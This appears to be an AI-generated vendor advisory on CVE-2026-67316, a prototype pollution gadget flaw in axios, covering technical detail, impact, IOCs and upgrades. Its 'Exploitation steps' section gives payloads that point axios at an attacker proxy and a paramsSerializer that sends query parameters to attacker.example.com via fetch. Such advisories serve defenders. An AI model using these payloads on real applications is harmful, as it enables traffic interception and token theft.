CVE-2026-67316
Grafana vulnerability analysis and mitigation

Overview

CVE-2026-67316 is a prototype pollution gadget vulnerability in the axios HTTP client library (npm) that allows request tampering when Object.prototype has already been polluted by a separate vulnerability or dependency. It affects axios versions >=1.0.0 <1.18.0 and all versions <0.33.0 in the 0.x branch. The vulnerability was published on August 1, 2026, with fixes available in axios 1.18.0 and 0.33.0. It carries a CVSS v4 base score of 6.3 (Medium) (GitHub Advisory, axios Security Advisory).

Technical details

The root cause is classified under CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). Three distinct gadget paths exist: (1) In lib/core/Axios.js, bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()) read (config || {}).data before config normalization, so a polluted Object.prototype.data causes an attacker-controlled body to be sent on requests that never set one. (2) In lib/adapters/http.js, direct reads of config.proxy without hasOwnProp guards allow a polluted Object.prototype.proxy to reroute requests through an attacker-controlled proxy. (3) In unsafe/helpers/resolveConfig.js, config.paramsSerializer is read without an own-property guard, allowing a polluted function to control URL serialization. The proxy and paramsSerializer gadgets do not reproduce through normal high-level axios calls on 1.15.2+ because mergeConfig() returns a null-prototype config with hasOwnProp guards, but they remain exploitable via direct low-level adapter/helper calls (axios Security Advisory, Red Hat Bugzilla).

Impact

Successful exploitation — contingent on a prior prototype pollution vulnerability being present — allows an attacker to inject arbitrary request bodies into bodyless HTTP methods (GET, DELETE, HEAD, OPTIONS), potentially corrupting request semantics on receiving services that process such bodies. For applications using low-level axios adapter/helper calls directly, an attacker can route all outbound HTTP traffic through an attacker-controlled proxy, exposing Authorization headers, full request URLs, and request bodies, or manipulate URL serialization to exfiltrate query parameters including secrets and tokens. The integrity impact is rated Low with no direct confidentiality or availability impact on the vulnerable system itself, though chained exploitation could enable credential theft and traffic interception (axios Security Advisory, GitHub Advisory).

Exploitability

A proof-of-concept is publicly available in the axios security advisory, demonstrating all three gadget paths (axios Security Advisory). The NVD SSVC assessment classifies exploitation status as 'poc' with technical impact rated 'partial' and automatable as 'no'. There is no evidence of active in-the-wild exploitation or threat actor attribution at this time. The EPSS score is approximately 0.258% (17th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

Exploitation steps

  1. Identify a prototype pollution source: Confirm that the target application uses a library or code path that can pollute Object.prototype (e.g., via vulnerable versions of lodash, qs, minimist, or similar transitive dependencies).
  2. Trigger prototype pollution: Exploit the separate prototype pollution vulnerability to set a malicious property on Object.prototype, for example: Object.prototype.data = '{"injected":true}' for body injection, Object.prototype.proxy = { host: 'attacker.example.com', port: 8080, protocol: 'http' } for proxy hijacking, or Object.prototype.paramsSerializer = (p) => { fetch('https://attacker.example.com/?' + new URLSearchParams(p)); return 'q=x'; } for URL serialization control.
  3. Wait for or trigger an axios bodyless request: The target application must call axios.get(), axios.delete(), axios.head(), or axios.options() (for body injection), or use low-level adapter/helper calls directly (for proxy/paramsSerializer gadgets).
  4. Observe impact: For body injection, the receiving server processes the attacker-controlled body on a request that should have had none. For proxy hijacking, all outbound requests are routed through the attacker's proxy, exposing headers and bodies. For paramsSerializer, query parameters (including tokens/secrets) are exfiltrated to the attacker's endpoint (axios Security Advisory).

Indicators of compromise

  • Network: Unexpected outbound HTTP/HTTPS connections from the application server to unknown proxy hosts; HTTP requests to known endpoints carrying unexpected Content-Length headers or request bodies on GET/DELETE/HEAD/OPTIONS methods; DNS or HTTP requests to attacker-controlled collaborator domains from the application server.
  • Logs: Application or web server logs showing GET, DELETE, HEAD, or OPTIONS requests with non-zero Content-Length or Transfer-Encoding headers; outbound proxy connection logs to unrecognized hosts on port 8080 or similar; URL query strings containing unexpected or malformed parameters indicative of custom serialization.
  • Application Behavior: Requests to third-party APIs arriving at unexpected proxy endpoints; query parameters containing sensitive tokens appearing in external HTTP requests not initiated by the application logic (axios Security Advisory).

Mitigation and workarounds

Upgrade axios to version 1.18.0 (for the 1.x branch) or 0.33.0 (for the 0.x branch), which fix all three gadget paths (axios Security Advisory, GitHub Advisory). As a defense-in-depth workaround prior to patching, explicitly pass data: undefined in the config object for all bodyless method calls when running in environments where prototype pollution is a concern. Additionally, audit all application dependencies for prototype pollution vulnerabilities (particularly lodash, qs, minimist) and remediate them, since this vulnerability requires a prior prototype pollution gadget to be exploitable. IBM has issued advisories for affected products including IBM Security Verify Information Queue and IBM DevOps Solution Workbench (IBM SVIQ Advisory, IBM DevOps Advisory).

Community reactions

Red Hat has tracked this vulnerability via Bugzilla (Bug 2510009) and issued errata (RHSA-2026:49714, RHSA-2026:50826) for affected products, rating it low severity (Red Hat Bugzilla). IBM published security bulletins for IBM Security Verify Information Queue and IBM DevOps Solution Workbench acknowledging the impact of this vulnerability (IBM SVIQ Advisory, IBM DevOps Advisory). The axios maintainer (jasonsaayman) published the security advisory directly, and the original report was credited to researcher 'bilerden' (axios Security Advisory).

Additional resources


SourceThis report was generated using AI

Related Grafana vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-56862HIGH7.5
  • cAdvisor logocAdvisor
  • harbor-2.14
NoYesAug 13, 2026
CVE-2026-56859HIGH7.5
  • cAdvisor logocAdvisor
  • cluster-api-azure-controller-1.26
NoYesAug 13, 2026
CVE-2026-17183HIGH7.1
  • Grafana logoGrafana
  • cpe:2.3:a:grafana:grafana
NoYesAug 19, 2026
CVE-2026-56860MEDIUM5.9
  • cAdvisor logocAdvisor
  • vsphere-csi-syncer-3.5
NoYesAug 13, 2026
CVE-2026-11817MEDIUM5.3
  • Grafana logoGrafana
  • cpe:2.3:a:grafana:grafana
NoYesAug 17, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management